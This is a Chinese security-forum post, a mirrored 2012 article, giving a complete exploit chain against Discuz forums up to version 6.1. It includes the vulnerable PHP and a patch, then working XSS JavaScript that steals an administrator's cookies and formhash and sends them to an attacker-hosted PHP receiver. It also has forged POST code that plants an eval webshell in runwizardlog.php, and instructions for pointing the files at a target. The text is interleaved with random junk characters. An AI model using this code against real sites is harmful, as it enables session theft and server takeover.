找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3681|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
! W, ?, i! N( j* t8 y  U; T- z  i4 gBy racle @tian6.com
7 t3 p5 D6 B# C8 Z$ l欢迎转帖.但请保留版权信息.( s; Z4 z5 I3 u* T5 J
受影响版本iscuz<=6.1.0,gbk+utf+big5
# A% \9 L2 [9 q: J) L8 r3 l* E2 l
0 [9 H: D2 |0 n, _% S2 E新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
* u9 C; d7 C9 B2 i' I5 [) u6 {
6 M9 k5 {' h: ~1 k' g
8 u  U5 P- t" q  v0 c% p* s" e3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706/ z; o* [6 m+ H2 X
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
- E% M$ s4 I, j2 x0 P# r& J) k: o$ O& X0 t& V
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..3 a! o9 b7 P+ u  f- ~$ A4 b
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS( |# ?+ v; \: m7 ^5 x

2 z. T( [8 c/ Y) h. P/ W! H0 k5 M
: s! z0 ?4 n- w5 V* N  V: v# ?7 |----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
/ C  k* x% A1 Y- s) b4 i$ R! J! {& V  [4 [- d/ V, @1 G
( E# {' o: z( \
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.  k( n% k6 M' _/ Q8 O" i
5 \5 c$ ^" F8 U( O. [5 Z5 I
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
' a$ N2 H+ E$ q! A
- X6 u' r) ]& Y! G0 bproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
* O) }  ]4 s" y1 O% m8 Z/ Z0 F0 d8 G( g- s. @) T
$ U: S0 F6 P1 d8 r/ H) O$ G9 X9 [' L
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
/ G& a1 K; H9 Y, Z+ G+ L: l  ?% }: I, E8 W8 z4 \
        global $runwizardfile, $runwizardhistory;% O+ {# T3 {$ W4 d) _; }
0 e. X  \3 p0 c2 v
        $fp = fopen($runwizardfile, 'w');
' ?- R5 |2 ?. `) k2 a4 g" G# u( V  t# @
        fwrite($fp, serialize($runwizardhistory));2 ]  _( E5 H5 k7 \2 Q

% l/ E$ \6 C9 z- k+ r        fclose($fp);" l  s8 @# F' u( P
0 G+ M/ q  g+ U4 R1 F+ a
}1 c6 }: e+ N0 y  a/ M
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
0 H) e7 S9 J2 |( i9 z以下是修补的办法:function saverunwizardhistory() {
6 q* g6 w( |* @, u  |! V% `6 L& l+ V/ ?# b0 x7 X. F7 q2 y
        global $runwizardfile, $runwizardhistory;
% ^+ l0 l, M! j) z& w- h. Y5 V  c5 J: t. _7 V
        $fp = fopen($runwizardfile, 'w');
; R. V; v4 N" O/ Y3 f7 N
# j7 b- R0 p: f        $s = '<?php exit;?>';; F# |- ~' y1 [6 S

' J) I' V+ J: }8 l( U        $s .= serialize($runwizardhistory);5 B5 r& C0 l7 c  X
2 B; I5 m! I1 p2 y
        fwrite($fp, $s);
+ J1 y9 s* k, ^; p( E9 A0 V- u% u5 ~* y
        fclose($fp);
4 i  W0 [; f" o  o$ U  _8 f- P# O
( B, `. }1 S+ A  {8 p) y, g; s( [}* T( T, w8 J1 `& X/ [
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
: i% u1 V5 J1 |  ^- C
, H# |7 t8 k! g. }+ e& P2 _
7 X3 l2 g5 K2 w" ]
& c: m  Y4 ]2 _9 y! g----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------  h( C: a! i; I7 z& W% P

- H) f# s9 \2 E! x/ w8 @- z6 e/ M5 _; W" A% `2 v- W- o
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.# |# ?5 a  P( _/ D
5 \/ |- |: [3 R' S8 T: a& c4 N$ P
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.! b+ R5 P* }9 \) B
6 a! j+ r3 g6 n, E% O) Q
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.% N6 U$ O# ~0 y' p/ q
6 `9 J5 C/ c. K; A" l. ]
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
6 T: k4 a& j8 F& h7 f# A1 Z! \2 \8 Y7 J2 Z2 F& t' O
var url="http://目标网站/admincp.php";      ' ]& I4 I# k8 S% g1 l
# C, ~. R4 P+ Y* d
/*获得cookies*/, c6 y( U) ~  A) D% T

& K! M9 w$ A% B+ d. ~function getURL(s) {
) {5 i; {; |* z( R% Q
& N6 [8 \4 {1 k  T( p. b: ]var image = new Image();5 s8 r* R9 U/ N- a2 t7 I0 \  B  X
. ~$ _% d& i, l8 x! q( C
image.style.width = 0;
5 g$ y( Y' v3 t+ F5 }+ [
5 o+ o5 s6 P" n' g/ K# uimage.style.height = 0;4 V/ W! Z  H# l2 d
% z0 I4 a6 n) Q, E" V7 Q) J. Z2 G0 C
image.src = s;: m2 `; d; t( T% s  U' w4 B

: G: |- _" ]. Z) L}
# H) [5 n; E9 c; }8 d6 S4 Y9 X1 U
+ P" y+ M6 |& u! MgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
3 N+ c0 c" a6 t: L) I复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];! h2 z% i) {" @8 h
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
3 K$ Q( A- U9 h/ }! o. y" m! z$ {2 J$ Z) @8 I9 R# z8 r6 f
2 ?/ i% j& C% {" ~( x
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
) _9 n3 P+ u& l6 E+ u, t! j/ B
/ n# D, j; }7 F  z& x
) [* Q) z$ g' e0 c9 P5 f2 ]1 a7 Z5 m: E/ G* K- x
/*hash*/# p4 x" T- K- P: ?$ k5 Q3 R
" u0 \8 K' G* E2 R
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");& q3 @5 \4 t# U; i2 i" x( `

: H5 G/ v6 o% r$ {( T8 HxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
" t1 h9 b( M# v6 s: y: M9 H% z# G! z
0 ?& x! e) B6 Z+ {xmlHttpReq.send();
3 W% k  y: ?: ~+ x+ P2 h8 l4 }
8 S6 p# r" V8 X) H& E5 e/ P# Zvar resource = xmlHttpReq.responseText;
" ]; f) e* D( B( d. s  f* \" i% s1 r1 k, B8 i
var numero = resource.search(/formhash/);
- y2 _3 A: I) e! S& S7 x
, `, J- Z0 ]# j5 t' zvar formhash=encodeURIComponent(resource.substr(numero+17,8));' s! D) M! G% M  H2 D8 X
8 Q: V. j: V/ V/ e+ p% }+ v2 d
6 y+ n0 {7 R3 `5 c3 k
' i2 C: z. q0 ^, Y+ |. @
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
  Y) r! I8 [1 e7 [4 _2 Q* D9 o9 b- l2 l+ `/ W
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 & K% U: k* ]5 ]6 `# A8 }2 e3 e4 W
( z! W! B3 m% w& X( q/ x
xmlHttpReq.setRequestHeader("Referer", url);4 e3 o2 H+ d8 T, N# Z% z

! W3 F4 X7 g" q7 y/ {( a5 m3 MxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
% h1 b+ t8 r4 K& s, J+ g5 @0 W$ i9 r6 D) r/ ?6 C6 S+ }- V
xmlHttpReq.setrequestheader("content-length",post.length);
- L+ B4 a+ O: n9 x; \" H3 E" i: Q1 q# p3 \
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
0 Z* k  [# o' @$ y3 Q; x# h: X# D' s7 [: B1 b8 @( ~% u- f
xmlHttpReq.send(post);//发送数据* U* L* ~* d6 W6 A- L5 V
复制代码这里HASH我假设正确,这样提交,也无须cookies& e8 C# r- m" P* H. H3 h+ \  ^0 S
( L9 h7 F; l& v/ d
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
( F" S2 t9 J0 s" ]: c5 k) r0 L7 y4 N. w* l# K5 ^9 k7 n* C! c
if (!$sock) die("$errstr ($errno)\n");
5 |7 z! x+ k9 l5 k' R
/ r% X5 ]" y, I# k% {2 E$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';; v% R: i0 h$ Y9 t9 p
3 ]  b$ X$ A  }# o+ R& i
" o7 r3 R5 @. Z4 i% ]

2 f( ], j3 E! ?% g# Ifwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");3 i( G* c% |, x& d- {9 O* \4 H
& z) t2 B. I6 ~' w
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
: u& _+ l: A) }  X
" X: q4 l) K: n+ |; v3 ^! b4 Hfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");  Z' @' n6 A, Z4 f) y
% y( _! o  R2 A7 T7 w5 r/ @+ M! s
fwrite($sock, "Accept-Language: zh-cn\r\n");
2 @7 ?# V4 M* ]& G! b6 {( l$ ?6 A
$ Y1 ]+ i* o  T5 b  N  Nfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
7 {& K0 O1 u/ ?% W" @+ ^/ N1 \! D7 D/ X& K6 ?/ O: l
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");, q& q! I+ T, P( I

! f/ B# K+ @9 {& sfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
- n) n$ ~% T! B4 e3 P& S
# A$ t6 F9 p# A( @1 N5 i2 A) bfwrite($sock, "Host: $url\r\n");' G% B9 V- K! c! U3 y
; _& C& N$ H2 K3 x
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");/ T, E/ x" T" b9 \0 I
4 J4 O5 m3 O4 d3 T/ H+ L
fwrite($sock, "Connection: Keep-Alive\r\n");+ w4 Y& n+ p: {( N
% A7 g$ m) B2 Z3 j' h
fwrite($sock, "Cache-Control: no-cache\r\n");* I; ]; t& }4 S4 W5 ~, D. T8 z
+ ~% M/ F4 H& `( M6 n1 n4 T
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");, Q6 n9 z! t2 @7 g: {
: v' U' E& D) s" `
fwrite($sock, $data);8 k* C( N* g* {6 {. ^
5 h) ], p7 e( D* k; ]4 x( t
2 v9 i0 k" ^) l5 L( {9 L! d+ S
, Q- A7 ]- T, k
$headers = "";
. C7 x2 p+ @* a: W  I
. O) R3 l1 R4 U6 C; _while ($str = trim(fgets($sock, 4096)))# N. c! f3 ^" {4 Q+ l  _+ F) u1 Y
4 D/ ]9 F+ _' \) C2 z! B& H
     $headers .= "$str\n";
3 Z$ D# e; L- l3 N; H4 ~; A
6 E, v2 y. C8 z8 \- }/ X0 j' u2 Decho "\n";, I0 a3 P  R$ f1 b
( x0 c$ J* N4 G  H
$body = "";6 n, Z: u, |1 ?
% ?9 z6 {8 w" t1 b# g5 s3 Z" X+ X+ ?
while (!feof($sock))  H4 B6 P" v  C# M& g- }) \

7 x' y/ M3 k$ ~7 V* ^' e     $body .= fgets($sock, 4096);
/ T7 k3 _' O6 y+ m$ f# y- e
2 R, e  j7 F0 i; O; B/ qfclose($sock);
- x+ f0 r7 y% q- k; ]% p$ R
0 K$ ]2 ^( z; T3 x1 _' Z9 z3 Techo $body;6 L3 j( N$ j/ V" q
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^% T; E% `- S# |$ R7 X% X
* d% }6 o! L2 G6 S* U. g( h$ E, I1 `
5 |$ v6 k/ ?: q/ l; g# h9 }
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
" N+ k, S3 X' H1 t) X5 Q, K5 b# w% O  |7 V

3 [# w+ R. J! {6 [9 E3 _: U) [* G1HP SOCKET利用方法首先打开racle.js
+ V2 [! {5 i5 l5 v7 O4 |8 T, }0 A- P  P1 Z: B
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home1 M, o/ ]5 D/ u+ I
3 c6 H7 y- \5 ^6 y5 |
& M( J, }5 @* H$ ^8 ?
! `. o- F8 f* S! b
然后打开racle@tian6.php) W" M! L% y3 N, S5 J6 v, ~

4 x1 o& K( k2 ?5 T; X+ ]: l0 X$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
) m" z& ?, W* N8 i9 S8 x* _+ i3 s

- q/ K: `5 u" A
1 Z- b0 |+ o1 g) ~0 r7 n5 R6 a( Q如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:1 ?) M6 b" [& l  Q
, {& K1 W) S/ J. i4 y$ n: ?
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
7 G! ]3 ~8 d# i( p" A2 O! s/ m! ^4 b# l0 Y' B
- s) p0 W( K$ S; v. j4 Q5 i1 q2 P

9 I. b# @$ E0 p9 U- z( YgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
) v( {: A! S( W$ ]# r* ]复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.$ ]  U4 A" S; P2 F, U# T1 q8 D
1 h" z7 M4 }) V9 G( |

0 ]5 o+ ^7 }& S5 t  A0 ^) j# U  Y' ]) W, z! Y* J
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:, P1 M# G2 y% a

, T* s$ f( E( ^, w) ^var formhash=encodeURIComponent(resource.substr(numero+17,8));
. q. y* K1 p1 A6 Z
, ~: [; m+ H3 D9 S. l5 Q) Q7 y2 f& s' u2 F* K+ G( O6 P: {9 v

, N  y1 x$ A! Jvar formhash=encodeURIComponent(resource.substr(numero+9,8));
9 \& W# X) W# a& W4 s* ?6 o' b复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
3 o  T. M9 ^( L3 g& O. r5 _% D5 f- ^: X2 z% Q4 f
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.5 ^/ S% W6 S" g0 |

% l" L% P0 @, b& O7 `  B5 T8 i/ ^% ~如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.; m7 A1 A1 j6 R0 e7 g+ C

5 Z7 V+ K% `% j( n: P不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.! w% _6 d4 T% _

, y1 ?/ S, B( @1 x: q* @- w* I/ W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表